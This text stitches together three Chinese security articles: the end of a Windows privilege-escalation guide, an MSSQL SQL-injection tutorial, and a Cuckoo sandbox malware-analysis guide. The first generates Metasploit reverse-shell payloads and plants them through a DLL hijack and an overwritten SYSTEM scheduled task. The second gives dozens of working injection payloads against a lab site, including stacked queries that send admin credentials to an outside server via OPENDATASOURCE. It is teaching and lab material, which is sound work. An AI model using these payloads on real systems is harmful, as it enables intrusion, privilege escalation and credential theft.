FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
C:Usersuser1Desktop> cacls "C:Python27"
C:Python27 BUILTINAdministrators:(ID)F
BUILTINAdministrators:(OI)(CI)(IO)(ID)F
NT AUTHORITYSYSTEM:(ID)F
NT AUTHORITYSYSTEM:(OI)(CI)(IO)(ID)F
BUILTINUsers:(OI)(CI)(ID)R
NT AUTHORITYAuthenticated Users:(ID)C
NT AUTHORITYAuthenticated Users:(OI)(CI)(IO)(ID)C
在我们继续往下搞之前，我们需要检查一下IKEEXT服务的状态。在下面的例子中可以看出，它被设置成“AUTO_START”，所以它在系统启动后就自动运行了。
C:Usersuser1Desktop> sc qc IKEEXT
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Windowssystem32svchost.exe -k netsvcs
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
DEPENDENCIES : BFE
SERVICE_START_NAME : LocalSystem
现在我们已经具备了攻击它的必需条件，我们可以生成一个恶意的DLL文件并且获得一个shell了。
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D >
/root/Desktop/evil.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}
在把恶意DLL传输到目标机器后，我们需要把它重命名为“wlbsctrl.dll”并且移动到"C:Python27"目录下，然后我们需要耐心的等待机器重启（或者我们可以尝试强制让它重启），然后我们将获得一个SYSTEM权限的shell了。
重要的再说一遍，下面的操作是用一个低权限的用户user1操作的。
C:Usersuser1Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:Usersuser1Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
5 File(s) 2,051,897 bytes
3 Dir(s) 73,052,160 bytes free
C:Usersuser1Desktop> copy evil.dll C:Python27wlbsctrl.dll
1 file(s) copied.
C:Usersuser1Desktop> dir C:Python27
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
7 File(s) 523,700 bytes
9 Dir(s) 73,035,776 bytes free
万事俱备，只差重启。为了做演示，我使用Administrator用户手动的重启了这个被攻击的服务。
最后的例子呢，让我们看一下计划任务。重新检查我们一开始搜集的关于计划任务的信息，我将对下面的条目进行讲解。
HostName: B33F
TaskName: LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33Fb33f
Task To Run: E:GrabLogstftp.exe 10.1.1.99 GET log.out E:GrabLogsLogslog.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
从上面的结果可以看到，有一个TFTP客户端，它会在一个时间点和一个远程主机进行连接，并且下载某些日志文件。它会在每天的上午九点运行，并且是用SYSTEM权限运行的（我的天呐）。让我们看下我们对这个路径是否有写入权限。
C:Usersuser1Desktop> accesschk.exe -dqv "E:GrabLogs"
E:GrabLogs
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTINAdministrators
FILE_ALL_ACCESS
RW NT AUTHORITYSYSTEM
FILE_ALL_ACCESS
RW NT AUTHORITYAuthenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
R BUILTINUsers
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
C:Usersuser1Desktop> dir "E:GrabLogs"
Volume in drive E is More
Volume Serial Number is FD53-2F00
Directory of E:GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
1 File(s) 180,736 bytes
3 Dir(s) 5,454,602,240 bytes free
可以清楚地看到，这里有一个很严重的配置错误，对于这个计划任务来说，根本不需要使用SYSTEM的权限来运行，更糟糕的是，任何经过身份验证的用户都对这个文件夹有写入的权限。从渗透测试的合约来说，到了这一步我只需要生成一个木马，做一个后门（同时要保证它会完美的运行）就可以了，但是作为本次教学的例子，我们可以简单的用木马覆盖掉“tftp.exe”：
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
现在剩下的事就是上传我们的恶意文件，覆盖掉"E:GrabLogstftp.exe"，一旦做完了就早点睡觉，防止因为猝死而看不到弹回来的shell。这里要注意的是，别忘了检查一下要入侵的计算机的时间和时区。
C:Usersuser1Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:Usersuser1Desktop
02/19/2014 01:36 AM <DIR> .
02/19/2014 01:36 AM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/19/2014 01:31 AM 73,802 evil-tftp.exe
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
11/22/2013 07:39 PM 1,225 wmic_info.bat
6 File(s) 2,125,699 bytes
3 Dir(s) 75,341,824 bytes free
C:Usersuser1Desktop> copy evil-tftp.exe E:GrabLogstftp.exe
Overwrite E:GrabLogstftp.exe? (Yes/No/All): Yes
1 file(s) copied.
这两个例子给了你提权的思路，当我们检查文件或文件夹权限的时候，需要考虑哪些点事易受攻击的点。你需要花费时间来检查所有的启动路径，Windows服务，计划任务和Windows启动项。
通过上面的各个例子，我们可以看出accesschk称得上是杀人越货的必备工具，在文章结束之前，我想给你一些在使用accesschk上的建议。
当第一次执行任何sysinternals工具包里的工具时，当前用户将会看到一个最终用户许可协议弹框，这是一个大问题，然而我们可以添加一个额外的参数“/accepteula”去自动接受许可协议。
accesschk.exe /accepteula ... ... ...
找出某个驱动器下所有权限配置有缺陷的文件夹路径
accesschk.exe -uwdqs Users c:
accesschk.exe -uwdqs "Authenticated Users" c:
找出某个驱动器下所有权限配置有缺陷的文件路径
accesschk.exe -uwqs Users c:*.*
accesschk.exe -uwqs "Authenticated Users" c:*.*
**总结**
这份指南写的是Windows提权的一些基本套路，如果你想真正的精通Windows提权，你需要投入大量的精力去研究。对于渗透测试的各个阶段，信息搜集环节总是最关键的，你对目标机器了解的越多，你的思路就越猥琐，你成功的几率就越大。
有时候你会将你的权限提升到Administrator，从Administrator提升到SYSTEM权限是不成问题的，你依旧可以重新配置一个服务，或者创建一个用SYSTEM权限运行的计划任务。
现在，搞起来搞起来搞起来！SYSTEMSYSTEMSYSTEM！
**传送门**
* * *
**[【技术分享】Windows下的渗透测试之提权的基本套路（上）](http://bobao.360.cn/learning/detail/3158.html)** | 社区文章 |
# MSSQL数据库注入全方位利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在渗透测试过程中遇到了MSSQL数据库，市面上也有一些文章，不过大多数讲述的都是如何快速利用注入漏洞getshell的，对于MSSQL数据库的注入漏洞没有很详细地描述。在这里我查阅了很多资料，希望在渗透测试过程中遇到了MSSQL数据库能够相对友好地进行渗透测试，文章针对实战性教学，在概念描述方面有不懂的还请自行百度，谢谢大家～
## 0x02 注入前准备
### 1、确定注入点
http://219.153.49.228:40574/new_list.asp?id=2 and 1=1
http://219.153.49.228:40574/new_list.asp?id=2 and 1=2
### 2、判断是否为mssql数据库
sysobjects为mssql数据库中独有的数据表，此处页面返回正常即可表示为mssql数据库。
http://219.153.49.228:40574/new_list.asp?id=2 and (select count(*) from sysobjects)>0
还可以通过MSSQL数据库中的延时函数进行判断，当语句执行成功，页面延时返回即表示为MSSQL数据库。
http://219.153.49.228:40574/new_list.asp?id=2;WAITFOR DELAY '00:00:10'; -- asd
### 3、相关概念
**系统自带库**
MSSQL安装后默认带了6个数据库，其中4个系统级库：master，model，tempdb和msdb；2个示例库：Northwind
Traders和pubs。
这里了解一下系统级库：
master：主要为系统控制数据库，其中包括了所有配置信息、用户登录信息和当前系统运行情况。
model：模版数据库
tempdb：临时容器
msdb：主要为用户使用，所有的告警、任务调度等都在这个数据库中。
**系统自带表**
MSSQL数据库与Mysql数据库一样，有安装自带的数据表sysobjects和syscolumns等，其中需要了解的就是这两个数据表。
sysobjects：记录了数据库中所有表，常用字段为id、name和xtype。
syscolumns：记录了数据库中所有表的字段，常用字段为id、name和xtype。
就如字面意思所述，id为标识，name为对应的表名和字段名，xtype为所对应的对象类型。一般我们使用两个，一个’U’为用户所创建，一个’S’为系统所创建。其他对象类型如下：
对象类型：
AF = 聚合函数 (CLR)
C = CHECK 约束
D = DEFAULT（约束或独立）
F = FOREIGN KEY 约束
FN = SQL 标量函数
FS = 程序集 (CLR) 标量函数
FT = 程序集 (CLR) 表值函数
IF = SQL 内联表值函数
IT = 内部表
P = SQL 存储过程
PC = 程序集 (CLR) 存储过程
PG = 计划指南
PK = PRIMARY KEY 约束
R = 规则（旧式，独立）
RF = 复制筛选过程
S = 系统基表
SN = 同义词
SQ = 服务队列
TA = 程序集 (CLR) DML 触发器
TF = SQL 表值函数
TR = SQL DML 触发器
U = 表（用户定义类型）
UQ = UNIQUE 约束
V = 视图
X = 扩展存储过程
**排序 &获取下一条数据**
mssql数据库中没有limit排序获取字段，但是可以使用top 1来显示数据中的第一条数据，后面与Oracle数据库注入一样，使用<>或not in
来排除已经显示的数据，获取下一条数据。但是与Oracle数据库不同的是使用not in的时候后面需要带上(‘’)，类似数组，也就是不需要输入多个not
in来获取数据，这可以很大程序减少输入的数据量，如下：
#使用<>获取数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'-- qwe
#使用not in获取数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe
**堆叠注入**
在SQL中，执行语句是通过;分割的，如果我们输入的;被数据库带入执行，那么就可以在其后加入sql执行语句，导致多条语句一起执行的注入，我们将其命名为堆叠注入。具体情况如下，很明显两条语句都进行了执行。
http://192.168.150.4:9001/less-1.asp?id=1';WAITFOR DELAY '0:0:5';-- qwe
## 0x03 显错注入
### 1、判断当前字段数
http://219.153.49.228:40574/new_list.asp?id=2 order by 4
http://219.153.49.228:40574/new_list.asp?id=2 order by 5
通过order by报错情况，可以判断出当前字段为4。
### 2、联合查询，获取显错点
1、首先因为不知道具体类型，所以还是先用null来填充字符
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,null,null,null -- qwe
2、替换null为’null’，获取显错点
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'null','null',null -- qwe
当第一个字符设置为字符串格式时，页面报错，很明显这个就是id了，为整型字符。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select 'null','null','null',null -- qwe
### 3、通过显错点获取数据库信息
1、获取数据库版本
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select @@version),null -- qwe
2、查询当前数据库名称
通过轮询db_name( _)里_ 的内容，获取所有数据库库名
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name()),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(1)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(2)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(3)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(4)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(5)),null -- qwe
3、查询当前用户
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select user),null -- qwe
### 4、查询表名
查询dbo.sysobjects表中用户创建的表，获取其对应的id和name
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' -- qwe
查询下一个表名
#使用<>获取下一条数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 -- qwe
#使用not in获取下一条数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058') -- qwe
### 5、查询列名
这里有个坑，查询列名的时候因为已经知道了表名的id值，所以where只需要使用id即可，不再需要xtype了。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'-- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe
### 6、information_schema
值得一提的是，除了借助sysobjects表和syscolumns表获取表名、列名外，mssql数据库中也兼容information_schema，里面存放了数据表表名和字段名，但是查询的数据好像存在一些问题，只查询到了manager表。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 table_name from information_schema.tables where table_name <> 'manager'),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' ),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' and column_name not in ('id','username')),null -- qwe
### 7、获取数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage-- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'-- qwe
解密获取密码
## 0x04 报错注入
mssql数据库是强类型语言数据库，当类型不一致时将会报错，配合子查询即可实现报错注入。
### 1、直接报错
等号两边数据类型不一致配合子查询获取数据。
#获取数据库库名
?id=1' and 1=(select db_name()) -- qwe
#获取第一个表名
?id=1' and 1=(select top 1 name from dbo.sysobjects) -- qwe
#将数据连接显示
?id=1' and 1=stuff((select db_name() for xml path('')),1,0,'')--+
### 2、convert()函数
convert(int,db_name())，将第二个参数的值转换成第一个参数的int类型。
具体用法如下：
#获取数据库库名
?id=1' and 1=convert(int,(select db_name())) -- qwe
#获取数据库版本
?id=1' and 1=convert(int,(select @@version))) -- qwe
### 3、cast()函数
CAST(expression AS data_type)，将as前的参数以as后指定了数据类型转换。
具体用法如下：
#查询当前数据库
?id=1' and 1=(select cast(db_name() as int)) -- qe
#查询第一个数据表
?id=1' and 1=(select top 1 cast(name as int) from dbo.sysobjects) -- qe
### 4、数据组合输出
#将数据表组合输出
?id=1' and 1=stuff((select quotename(name) from dbo.sysobjects for xml path('')),1,0,'')--+
#查询users表中的用户名并组合输出
?id=1' and 1=stuff((select quotename(username) from users for xml path('')),1,0,'')--+
## 0x05 布尔盲注
### 1、查询数据库库名
1、查询数据库库名长度为11
http://219.153.49.228:40768/new_list.asp?id=2 and len((select top 1 db_name()))=11
2、查询第一个字符的ascii码为109
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))=109
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))>109
3、查询第二个字符的ascii码为111
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),2,1))=111
4、获取所有ascii码之后，解码获取数据
### 2、查询表名
除了像上面查询库名使用了ascii码外，还可以直接猜解字符串
http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m'
http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,6)='manage'
## 0x06 延时盲注
### 1、延时函数 WAITFOR DELAY
语法：n表示延时几秒
WAITFOR DELAY '0:0:n'id=1 if (布尔盲注的判断语句) WAITFOR DELAY '0:0:5' -- qwe
### 2、查询数据
#判断如果第一个库的库名的第一个字符的ascii码为109，则延时5秒
http://219.153.49.228:40768/new_list.asp?id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' -- qwe
#判断如果第一个表的表名的第一个字符为m，则延时5秒
http://219.153.49.228:40768/new_list.asp?id=2 if (substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m') WAITFOR DELAY '0:0:5' -- qwe
## 0x07 反弹注入
就像在Mysql中可以通过dnslog外带，Oracle可以通过python搭建一个http服务器接收外带的数据一样，在MSSQL数据库中，我们同样有方法进行数据外带，那就是通过反弹注入外带数据。
反弹注入条件相对苛刻一些，一是需要一台搭建了mssql数据库的vps服务器，二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数。
OPENDATASOURCE(provider_name,init_string):使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
### 1、环境准备
1、首先打开靶场
3、连接vps的mssql数据库，新建表test，字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名，所以新建一个表里面只有一个字段，类型为varchar。
CREATE TABLE test(name VARCHAR(255))
### 2、获取数据库所有表
1、使用反弹注入将数据注入到表中，注意这里填写的是数据库对应的参数，最后通过空格隔开要查询的数据。
#查询sysobjects表
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' -- qwe
#查询information_schema数据库
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables -- qwe
2、执行成功页面返回正常。
3、在数据库中成功获取到数据。
### 3、获取数据库admin表中的所有列名
#查询information_schema数据库
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'-- qwe
#查询syscolumns表
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079-- qwe
### 4、获取数据
1、首先新建一个表，里面放三个字段，分别是id，username和passwd。
CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
2、获取admin表中的数据
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data select id,username,passwd from admin -- qwe
## 0x08 总结
完成这篇文章共费时1周，主要花时间在环境搭建以及寻找在线靶场。全文从显错注入、报错注入到盲注和反弹注入，几乎涵盖了所有MSSQL注入类型，若有所遗漏还请联系我，我必将在原文基础上进行改进。因为能力有限，本文未进行太多了原理描述，也因为SQL注入原理市面上已经有很多文章进行了讲解，所以文章最终以实战注入作为重心开展，讲述找寻到注入点后在如何在多种情况下获取数据。
靶场采用墨者学院、掌控安全，以及MSSQL-sqli-labs靶场，实际攻击时还需要考虑waf绕过等，后续会计划完成一篇针对waf绕过和提权getshell的文章，敬请期待～ | 社区文章 |
# 十分钟学会恶意样本分析，一眼看透无所遁形
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、关于恶意软件
**恶意软件** 是尝试破坏计算机、搜集敏感信息或者非法访问其他计算机的软件, 它对个人隐私信息、商业机密甚至是国家安全都会造成很大的威胁。
2017年WannaCry勒索病毒的爆发，是迄今为止最严重的勒索病毒事件，至少150个国家、30万名用户中招，造成损失达80亿美元;Conficker蠕虫病毒感染数千万台电脑，史上袭击范围最广的Conficker蠕虫病毒曾感染了全球200多个国家的数千万台Windows个人电脑。
**本期“安仔课堂”，ISEC实验室吴老师跟大家一起针对恶意软件进行分析，了解其行为特征，十分钟学会恶意样本分析，一眼看透无所遁形。**
**Cuckoo sandbox是一个开源的恶意文件自动化分析系统，**
采用Python和C/C++开发，跨越Windows、Android、Linux和Darwin四种操作系统平台，支持二进制的PE文件（exe、dll、com）、PDF文档、Office文档、URL、HTML文件、各种脚本（PHP、VB、Python）、JAR包、Zip文件等等几乎所有的文件格式，能分析恶意文件的静态二进制数据和动态运行后的进程、网络、文件等行为，对于恶意文件的初步分析定性具有很大帮助。
Cuckoo的分析结果包含如下内容：
（1）函数以及API调用的Call Trace；
（2）应用拷贝和删除的文件；
（3）选定进程的内存镜像；
（4）分析机的full memory dump；
（5）恶意软件执行时的截屏；
（6）分析机产生的网络流量。
## 二、Cuckoo的部署
下图是Cuckoo的部署，分为host和guests。
图1
### 1.Host（管理机）
负责管理guests、启动分析工作、网络流量收集等。
host依赖一些开源软件，例如tcpdump用于Guest网络拦截、Volatility用于内存的dump。
### 2.Guest（虚拟机）
Guest是通用的虚拟机，Xen、VirtualBox等。它运行Cuckoo的Agent，接收Host发过来的任务（文件）运行后获取信息。
Agent是跨平台的Python脚本，可以在Windows、Linux和MAC OS上运行。它实际是一个XMLRPC server，等待连接。
## 三、Host环境搭建
### 1.安装Cuckoo
$ sudo pip install -U pip setuptools
$ sudo pip install -U cuckoo
### 2.数据库依赖库
(1)如要使用Cuckoo sandbox自带web程序，需安装mongodb；
(2)Cuckoo sandbox默认使用sqlite数据库，如要使用mysql，需安装mysql和MySQL-python。
### 3.网络数据包捕获
Host使用tcpdump捕获网络数据包?
(1)安装tcpdump
$ sudo apt-get install tcpdump
(2)启用root账户
$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
(3)验证启用是否成功
$ getcap /usr/sbin/tcpdump /usr/sbin/tcpdump=cap_net_admin,cap_net_raw+eip
### 4.虚拟机软件
Cuckoo sandbox支持多种虚拟机，包括vmware、virtualbox、esx、kvm、vsphere、xenserver，选择一种你最熟悉的。
此处简单介绍virtualbox的安装:
Virtualbox是开源软件，功能可满足Cuckoo sandbox的使用。
安装命令：
$ sudo apt-get install virtualbox
## 四、Guest环境搭建
本文主要讲Windows恶意文件分析环境，所以Guest为Windows操作系统。
Guest支持winxp和win7，使用win7时，需关闭User Access(用户账户控制)。
下面以win7为例，讲述安装过程:
### 1.win7虚拟机安装
使用Host中已安装的虚拟机软件，安装win7虚拟机。
注：win7虚拟机无需打补丁，无需安装杀毒软件、安全卫士
### 2.Python运行环境
(1)2.7.6以上任何一个稳定的2.7版本都可以，
附下载链接：
图2
(2)PIL(Python Image Library)用于恶意文件运行过程中对桌面进行截屏，安装版本需与Python库版本一致。
附下载链接：
图3
### 3.win7环境配置
(1)关闭Windows自动更新；
(2)关闭Windwos防火墙；
(3)关闭用户账户控制。
### 4.网络环境配置
(1)使用Host-Only(仅主机模式)上网方式；
注：virtualbox需手动新建Host-Only模式，如下图：
图4
(2)将win7网络地址配置到Host-Only模式网段；
(3)保证Host和Guest能正常通信，可使用ping命令测试；
(4)现在许多恶意文件都需要网络环境才能运行，所以还需将win7配置到能访问外部网络环境。Cuckoo
sandbox使用iptables配置转发规则，假如：eth0为ubuntu连接外部网络的网卡，vboxnet0虚拟机选择Host-Only的虚拟网卡(virtualbox为vboxnet0)。
### 5.win7伪装环境
(1)安装基础的运行库，如java、python、.net等；
(2)安装2005-2015的vc运行库；
(3)安装MS-Office套件(office 2007/office 2010)、PDF阅读器等文档软件?（Adobe Reader）；
(4)安装生活常用的聊天(QQ/微信)、听歌（QQ音乐/酷狗/酷我）软件。
### 6.安装agent.py
(1)将agent目录下的agent.py拷贝至win7文件系统，位置无严格要求；
(2)将agent.py修改成agent.pyw，并添加至开机启动项,agent.pyw为无界面模式；
(3)运行agent.pyw。
### 7.保存win7快照
(1)在agent.pyw运行的状态下，保存win7快照，记录win7的ip地址和快照名称；
(2)确认agent.pyw：在进程列表查看进程名为pythonw的进程。
## 五、样本分析
### 1.启动Cuckoo服务
$cuckoo
### 2.开启web服务
另开一个指令窗口运行
$cuckoo web runserver ?
打开浏览器,输入网址127.0.0.1:8000进入web操作界面。
网页服务器运行起来后界面如下：
图5
上传测试样本，操作如下图：
图6
跳转到样本分析设置界面，左侧是分析参数设置，可以默认或修改参数；中间是要测试的样本，需要选中；然后点击右侧“Analyze”按钮，开始分析。
图7
提交测试后，有pending、running、completed、reported等多种状态。运行完，会显示reported状态。
图8
点击样本，进入测试报告。红框1，显示可测试后样本的行为，有数字的部分表示样本有对应的行为；红框2，展示样本的基本信息；红框3，样本运行的基本信息；红框4，样本运行时的屏幕截图。
图9
左侧选择“Dropped Files”，显示如下图。右侧红框2，显示样本释放的文件。
图10
左侧选择“Process Memory”，显示如下图。右侧红框2，显示样本中所包含的URL链接。
图11
左侧选择“Behavioral Analysis”,显示如下图。红框2展示了具体的行为，可通过红框3中的搜索功能或红框4进行筛选。
图12
恶意样本一般包含创建文件和修改注册表的行为。先试着查找创建文件的行为。在搜索框输入“NtCreateFile”，搜索，如下图。图中有两个明显的可疑行为，红框1中对自身样本进行复制，红框2中，释放了一个beep.sys的驱动。
图13
尝试搜索修改注册表信息。在搜索框输入“RegSetValueExA”，搜索，如下图。红框中，可以看到服务的键值指向了刚才释放的exe程序路径。
图14
## 六、Cuckoo行为监控工作原理
Cuckoo sandbox在样本启动的时候,注入了相关的监控代码。
在process.py文件中，通过Process调用，调用inject-x86.exe或inject-x64.exe完成注入。
图15
图16
这两个工具是inject.c编译的针对32位和64位系统的不同版本。
下面看一下inject.c的具体代码：
在main中给出了可配置参数，需要带参数运行。Pid是必须要包含的参数，其他参数视需要进行配置。
图17
Inj_mode由以下三个参数决定，然后执行相应的函数。
图18
加载完参数完成准备工作，开始DLL注入。
图19
函数write_data，通过VirtualAllocEx和WriteProcessMemory在远程进程中申请空间的方式写入参数，并返回申请的地址。
图20
APC注入，通过write_data向远程进程中写入DLL路径、Loadlibrary()执行函数指针、执行加载函数的指针,然后利用QueueUserAPC()在软中断时向线程的APC队列插入Loadlibrary()执行函数指针，达到注入DLL的目的。当线程再次被唤醒时，此线程会首先执行APC队列中被注册的函数。
图21
注入成功。
另一种CRT注入：
同样通过write_data向远程进程中写入DLL路径、Loadlibrary()执行函数指针、执行加载函数的指针，之后在create_thread_and_wait中调用CreateRemoteThrea。当目标进程中执行load_library_woker（已事先写入进程空间）加载DLL，之后调用free_data清理现场，释放空间。
图22
图23
注入的DLL在加载时执行初始化和Hook动作。
图24
在monitor_init中
图25
图26
图27
在monitor_hook中，通过sig_hooks获取到需要hook的函数信息，调用hook函数进行hook。
图28
